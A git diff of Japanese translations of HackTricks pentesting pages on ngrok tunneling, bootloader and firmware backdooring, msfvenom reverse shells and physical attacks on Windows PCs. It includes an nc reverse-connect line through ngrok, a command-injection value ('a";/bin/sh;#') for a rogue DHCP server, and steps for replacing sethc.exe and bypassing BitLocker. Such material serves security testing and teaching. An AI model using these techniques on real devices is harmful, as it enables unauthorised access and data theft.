# Listen (example): nc -nvlp 4444
# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345
```
#### HTTPを使用してファイルを公開
#### HTTPを使用してファイルを公開する
```bash
./ngrok http file:///tmp/httpbin/
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
```
#### HTTPコールのスニッフィング
*XSS、SSRF、SSTIなどに便利...*
標準出力から直接またはHTTPインターフェース[http://127.0.0.1:4040](http://127.0.0.1:4000)で。
*XSS、SSRF、SSTIに便利...*
stdoutから直接、またはHTTPインターフェース [http://127.0.0.1:4040](http://127.0.0.1:4000) で。
#### 内部HTTPサービスのトンネリング
```bash
@ -498,11 +505,11 @@ chmod a+x ./ngrok
# With basic auth
./ngrok http localhost:8080 --host-header=rewrite --auth="myuser:mysuperpassword"
```
#### ngrok.yamlシンプルな設定例
#### ngrok.yaml シンプルな設定例
3つのトンネルを開きます
- 2つTCP
- 1つは/tmp/httpbin/からの静的ファイル公開を行うHTTP
- 2つTCP
- 1つのHTTP、/tmp/httpbin/ からの静的ファイルの公開
```yaml
tunnels:
mytcp:
@ -515,7 +522,7 @@ httpstatic:
proto: http
addr: file:///tmp/httpbin/
```
## その他のチェックするツール
## その他のチェックツール
* [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
* [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
@ -528,14 +535,17 @@ addr: file:///tmp/httpbin/
***
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ</strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSにアクセス**したいですか?または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけます
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れます
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローします。**
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングトリックを共有してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェック!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,23 +1,25 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
デバイスの起動構成やU-bootなどのブートローダーを変更するために推奨される手順は次のとおりです
デバイスの起動設定やブートローダーU-bootなどを変更するための推奨手順は以下の通りです:
1. **ブートローダーのインタープリターシェルにアクセス**
- 起動中に "0"、スペース、または他の特定の "マジックコード" を押して、ブートローダーのインタープリターシェルにアクセスします。
1. **ブートローダーのインタープリタシェルにアクセス**:
- ブート中に「0」やスペース、または他の特定の「マジックコード」を押してブートローダーのインタープリタシェルにアクセスします。
2. **ブート引数の変更**
2. **ブート引数の変更**:
- 以下のコマンドを実行して、ブート引数に '`init=/bin/sh`' を追加し、シェルコマンドを実行できるようにします:
%%%
#printenv
@ -26,8 +28,8 @@ HackTricksをサポートする他の方法
#boot
%%%
3. **TFTPサーバーの設定**
- ローカルネットワーク経由でイメージをロードするためにTFTPサーバーを構成します:
3. **TFTPサーバーの設定**:
- ローカルネットワーク経由でイメージをロードするためにTFTPサーバーを設定します:
%%%
#setenv ipaddr 192.168.2.2 #デバイスのローカルIP
#setenv serverip 192.168.2.1 #TFTPサーバーのIP
@ -37,20 +39,37 @@ HackTricksをサポートする他の方法
#tftp ${loadaddr} uImage-3.6.35 #loadaddrはファイルをロードするアドレスとTFTPサーバー上のイメージのファイル名を取ります
%%%
4. **`ubootwrite.py`の利用**
- `ubootwrite.py`を使用してU-bootイメージを書き込み、ルートアクセスを取得するために変更されたファームウェアをプッシュします。
4. **`ubootwrite.py`の利用**:
- `ubootwrite.py`を使用してU-bootイメージを書き込み、ルートアクセスを得るために修正されたファームウェアをプッシュします。
5. **デバッグ機能の確認**
- デバッグ機能が有効になっているかどうかを確認します。詳細なログ記録、任意のカーネルの読み込み、または信頼されていないソースからのブートなど
5. **デバッグ機能の確認**:
- 詳細なログ記録、任意のカーネルのロード、または信頼できないソースからのブートなどのデバッグ機能が有効になっているか確認します
6. **注意深いハードウェア干渉**
- デバイスの起動シーケンス中に1つのピンを接地に接続し、特にカーネルが解凍される前にSPIまたはNANDフラッシュチップとやり取りする際には、極めて注意してください。ピンをショートする前にNANDフラッシュチップのデータシートを参照してください。
6. **注意が必要なハードウェア干渉**:
- デバイスのブートアップシーケンス中に1つのピンをグラウンドに接続し、SPIまたはNANDフラッシュチップと相互作用する際は注意が必要です。特にカーネルが解凍される前に行うべきです。ピンをショートさせる前にNANDフラッシュチップのデータシートを参照してください。
7. **ローグDHCPサーバーの設定**
- デバイスがPXEブート中に摂取する悪意のあるパラメータを持つローグDHCPサーバーを設定します。MetasploitMSFのDHCP補助サーバーなどのツールを利用します。 'FILENAME'パラメータを`'a";/bin/sh;#'`などのコマンドインジェクションコマンドで変更して、デバイスの起動手順の入力検証をテストします。
7. **悪意のあるDHCPサーバーの設定**:
- PXEブート中にデバイスが取り込む悪意のあるパラメータを持つロゲDHCPサーバーを設定します。MetasploitのMSFDHCP補助サーバーなどのツールを利用します。'FILENAME'パラメータをコマンドインジェクションコマンド(例:`'a";/bin/sh;#'`)で変更し、デバイスの起動手順に対する入力検証をテストします。
**注意**: デバイスのピンと物理的なやり取りを伴う手順(*アスタリスクでマークされています)は、デバイスを損傷させないように極めて注意してアプローチする必要があります。
**注意**: デバイスのピンとの物理的な相互作用を伴う手順(*アスタリスクでマークされたもの)は、デバイスを損傷しないように極めて注意して行うべきです。
## 参考文献
* [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,58 +1,74 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@carlospolopm**をフォローする🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **HackTricks**https://github.com/carlospolop/hacktricksと[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
## ファームウェアの整合性
**カスタムファームウェアやコンパイルされたバイナリをアップロードして整合性や署名検証の欠陥を悪用**することができます。バックドアバインドシェルのコンパイルには次の手順が続けられます:
**カスタムファームウェアおよび/またはコンパイルされたバイナリは、整合性または署名検証の欠陥を悪用するためにアップロードできます**。バックドアバインドシェルのコンパイルには、以下の手順を実行できます。
1. ファームウェアはfirmware-mod-kitFMKを使用して抽出できます。
2. ターゲットのファームウェアアーキテクチャとエンディアンを特定する必要があります。
3. Buildrootや他の環境に適した方法を使用して、クロスコンパイラを構築できます。
1. ファームウェアは、firmware-mod-kit (FMK) を使用して抽出できます。
2. 対象のファームウェアアーキテクチャとエンディアンを特定する必要があります。
3. 環境に適した方法で Buildroot を使用してクロスコンパイラを構築できます。
4. クロスコンパイラを使用してバックドアを構築できます。
5. バックドアを抽出されたファームウェアの/usr/binディレクトリにコピーできます。
6. 適切なQEMUバイナリを抽出されたファームウェアのrootfsにコピーできます。
7. chrootとQEMUを使用してバックドアをエミュレートできます。
8. バックドアにはnetcatを介してアクセスできます。
9. QEMUバイナリは抽出されたファームウェアのrootfsから削除する必要があります。
10. FMKを使用して修正されたファームウェアを再パッケージできます。
11. バックドア付きファームウェアは、ファームウェア解析ツールキットFATを使用してエミュレートし、netcatを使用してターゲットのバックドアIPとポートに接続することでテストできます。
5. バックドアを抽出したファームウェアの /usr/bin ディレクトリにコピーできます。
6. 適切な QEMU バイナリを抽出したファームウェアの rootfs にコピーできます。
7. chroot QEMU を使用してバックドアをエミュレートできます。
8. netcat を介してバックドアにアクセスできます。
9. QEMU バイナリは、抽出したファームウェアの rootfs から削除する必要があります。
10. 修正されたファームウェアは、FMK 使用して再パッケージできます。
11. バックドア付きファームウェアは、ファームウェア分析ツールキット (FAT) を使用してエミュレートし、netcat を使用してターゲットのバックドア IP とポートに接続することでテストできます。
既にダイナミック解析、ブートローダー操作、またはハードウェアセキュリティテストを通じてルートシェルを取得している場合、インプラントやリバースシェルなどの事前コンパイルされた悪意のあるバイナリを実行できます。Metasploitフレームワークや'msfvenom'などの自動ペイロード/インプラントツールを使用する場合は、次の手順を使用できます:
動的分析、ブートローダー操作、またはハードウェアセキュリティテストを通じてルートシェルがすでに取得されている場合、インプラントやリバースシェルなどの事前コンパイルされた悪意のあるバイナリを実行できます。Metasploit フレームワークや 'msfvenom' のような自動化されたペイロード/インプラントツールを以下の手順で活用できます。
1. ターゲットのファームウェアアーキテクチャとエンディアンを特定する必要があります。
2. Msfvenomを使用して、ターゲットペイロード、攻撃者のホストIP、リスニングポート番号、ファイルタイプ、アーキテクチャ、プラットフォーム、および出力ファイルを指定できます。
3. ペイロードを侵害されたデバイスに転送し、実行権限があることを確認できます。
4. Metasploitを準備して、msfconsoleを起動し、設定をペイロードに応じて構成できます。
5. 侵害されたデバイスでmeterpreterリバースシェルを実行できます。
6. 開かれるmeterpreterセッションを監視できます。
7. ポストエクスプロイテーション活動を実行できます。
可能であれば、起動スクリプト内の脆弱性を悪用して、再起動時にデバイスに持続的なアクセス権を取得することができます。これらの脆弱性は、起動スクリプトが、SDカードやルートファイルシステム以外のデータを保存するために使用されるフラッシュボリュームなどの信頼できないマウントされた場所にあるコードを参照、[シンボリックリンク](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data)、または依存している場合に発生します。
## 参考文献
* 詳細については、[https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)を参照してください。
1. 対象のファームウェアアーキテクチャとエンディアンを特定する必要があります。
2. Msfvenom を使用して、ターゲットペイロード、攻撃者ホスト IP、リスニングポート番号、ファイルタイプ、アーキテクチャ、プラットフォーム、および出力ファイルを指定できます。
3. ペイロードを侵害されたデバイスに転送し、実行権限があることを確認します。
4. Metasploit を準備し、msfconsole を起動してペイロードに応じて設定を構成します。
5. 侵害されたデバイスで meterpreter リバースシェルを実行できます。
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@carlospolopm**をフォローする🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **HackTricks**https://github.com/carlospolop/hacktricksと[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,67 +1,85 @@
# Physical Attacks
# 物理攻撃
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**に参加するか、**[**telegramグループ**](https://t.me/peass)**に参加するか、Twitter 🐦でフォロー**する [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
{% endhint %}
## BIOSパスワードの回復とシステムセキュリティ
**BIOSのリセット**はいくつかの方法で達成できます。ほとんどのマザーボードには、BIOS設定、パスワードを含む、をリセットする**バッテリー**が含まれており、約**30分**取り外すとリセットされます。また、マザーボード上の**ジャンパー**を調整して特定のピンを接続することで、これらの設定をリセットすることもできます。
**BIOSのリセット**は、いくつかの方法で実行できます。ほとんどのマザーボードには**バッテリー**が含まれており、これを約**30分**取り外すことで、パスワードを含むBIOS設定がリセットされます。あるいは、**マザーボード上のジャンパー**を調整して、特定のピンを接続することでこれらの設定をリセットできます。
ハードウェアの調整が不可能または実用的でない場合、**ソフトウェアツール**が解決策を提供します。**Kali Linux**などのディストリビューションを使用して**Live CD/USB**からシステムを実行すると、_**killCmos**_や_**CmosPWD**_などのツールにアクセスでき、BIOSパスワードの回復に役立ちます。
ハードウェアの調整が不可能または実用的でない場合、**ソフトウェアツール**が解決策を提供します。**Kali Linux**のようなディストリビューションを使用して**Live CD/USB**からシステムを実行することで、BIOSパスワードの回復を支援する**_killCmos_**や**_CmosPWD_**のようなツールにアクセスできます。
BIOSパスワードが不明な場合、それを**3回間違えて**入力すると通常エラーコードが表示されます。このコードは、[https://bios-pw.org](https://bios-pw.org)のようなウェブサイトで使用して、使用可能なパスワードを取得する可能性があります。
BIOSパスワードが不明な場合、誤って**3回**入力すると、通常はエラーコードが表示されます。このコードは、[https://bios-pw.org](https://bios-pw.org)のようなウェブサイトで使用して、使用可能なパスワードを取得するために利用できます。
### UEFIセキュリティ
従来のBIOSの代わりに**UEFI**を使用する現代のシステムでは、**chipsec**ツールを使用して、**Secure Boot**の無効化を含むUEFI設定の分析と変更が可能です。次のコマンドでこれを実行できます
従来のBIOSの代わりに**UEFI**を使用している現代のシステムでは、**chipsec**ツールを使用してUEFI設定を分析および変更し、**Secure Boot**を無効にすることができます。これは、次のコマンドで実行できます。
`python chipsec_main.py -module exploits.secure.boot.pk`
### RAM分析とCold Boot攻撃
### RAM分析とコールドブート攻撃
RAMは、通常**1〜2分**の間、電源が切断された後もデータを一時的に保持します。この持続性は、液体窒素などの冷却物質を適用することで**10分**まで延長できます。この拡張された期間中、**dd.exe**や**volatility**などのツールを使用して**メモリダンプ**を作成し、分析することができます。
RAMは、電源が切れた後もデータを短時間保持します。通常は**1〜2分**ですが、液体窒素のような冷却物質を適用することで**10分**に延長できます。この延長された期間中に、**dd.exe**や**volatility**のようなツールを使用して**メモリダンプ**を作成し、分析できます。
### 直接メモリアクセスDMA攻撃
**INCEPTION**は、**FireWire**や**Thunderbolt**などのインターフェースと互換性があり、DMAを介した**物理メモリ操作**のためのツールです。これにより、メモリをパッチして任意のパスワードを受け入れることで、ログイン手順をバイパスできます。ただし、**Windows 10**システムには効果がありません。
**INCEPTION**は、**FireWire**や**Thunderbolt**のようなインターフェースを介して**物理メモリ操作**を行うために設計されたツールです。これは、任意のパスワードを受け入れるようにメモリをパッチすることでログイン手続きをバイパスすることを可能にします。ただし、**Windows 10**システムには効果がありません。
### システムアクセスのためのLive CD/USB
_**sethc.exe**__**Utilman.exe**_などのシステムバイナリを_**cmd.exe**_のコピーで変更すると、システム権を持つコマンドプロンプトを提供できます。**chntpw**などのツールを使用して、Windowsインストールの**SAM**ファイルを編集しパスワードを変更できます。
**_sethc.exe_**や**_Utilman.exe_**のようなシステムバイナリを**_cmd.exe_**のコピーで変更する、システム権を持つコマンドプロンプトを提供できます。**chntpw**のようなツールを使用して、Windowsインストールの**SAM**ファイルを編集しパスワードを変更できます。
**Kon-Boot**は、Windowsシステムにログインするのを容易にするツールで、WindowsカーネルやUEFIを一時的に変更することでパスワードを知らずにログインできます。詳細は[https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/)で確認できます。
**Kon-Boot**は、WindowsカーネルやUEFIを一時的に変更することで、パスワードを知らなくてもWindowsシステムにログインできるツールです。詳細は[https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/)で確認できます。
### Windowsセキュリティ機能の取り扱い
#### ブートおよびリカバリショートカット
#### ブートおよびリカバリショートカット
* **Supr**: BIOS設定にアクセスします
* **F8**: リカバリモードに入ります
* Windowsバナーの後に**Shift**キーを押すと、自動ログオンをバイパスできます。
- **Supr**: BIOS設定にアクセス
- **F8**: リカバリーモードに入る
- Windowsバナーの後に**Shift**を押すことで、自動ログインをバイパスできます。
#### BAD USBデバイス
**Rubber Ducky**や**Teensyduino**などのデバイスは、悪意のあるUSBデバイスを作成するプラットフォームとして機能し、ターゲットコンピュータに接続されると事前定義されたペイロードを実行できます。
**Rubber Ducky**や**Teensyduino**のようなデバイスは、ターゲットコンピュータに接続されたときに事前定義されたペイロードを実行できる**bad USB**デバイスを作成するためのプラットフォームとして機能します。
#### ボリュームシャドウコピー
管理者特権を使用すると、PowerShellを介して**SAM**ファイルなどの機密ファイルのコピーを作成できます。
管理者権限を持つことで、PowerShellを通じて**SAM**ファイルを含む機密ファイルのコピーを作成できます。
### BitLocker暗号のバイパス
### BitLocker暗号のバイパス
BitLocker暗号は、メモリダンプファイル(**MEMORY.DMP**)内に**回復パスワード**が見つかった場合にバイパスできる可能性があります。この目的のために**Elcomsoft Forensic Disk Decryptor**や**Passware Kit Forensic**などのツールを利用できます。
BitLocker暗号化は、**MEMORY.DMP**ファイル内に**リカバリーパスワード**が見つかればバイパスできる可能性があります。これには、**Elcomsoft Forensic Disk Decryptor**や**Passware Kit Forensic**のようなツールを利用できます。
### リカバリキー追加のためのソーシャルエンジニアリング
### リカバリキー追加のためのソーシャルエンジニアリング
新しいBitLockerリカバリキーは、ユーザーに新しいリカバリキーを追加するコマンドを実行させることで追加でき、これによりゼロで構成された新しいリカバリキーが復号化プロセスを簡素化します。
新しいBitLockerリカバリーキーは、ユーザーに新しいリカバリーキーをゼロで構成するコマンドを実行させることで追加でき、これにより復号化プロセスが簡素化されます。
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,32 +1,31 @@
# Cisco - vmanage
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、または**Twitter**で**私をフォロー**してください 🐦[@carlospolopm](https://twitter.com/hacktricks_live)**。**
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングトリックを共有してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
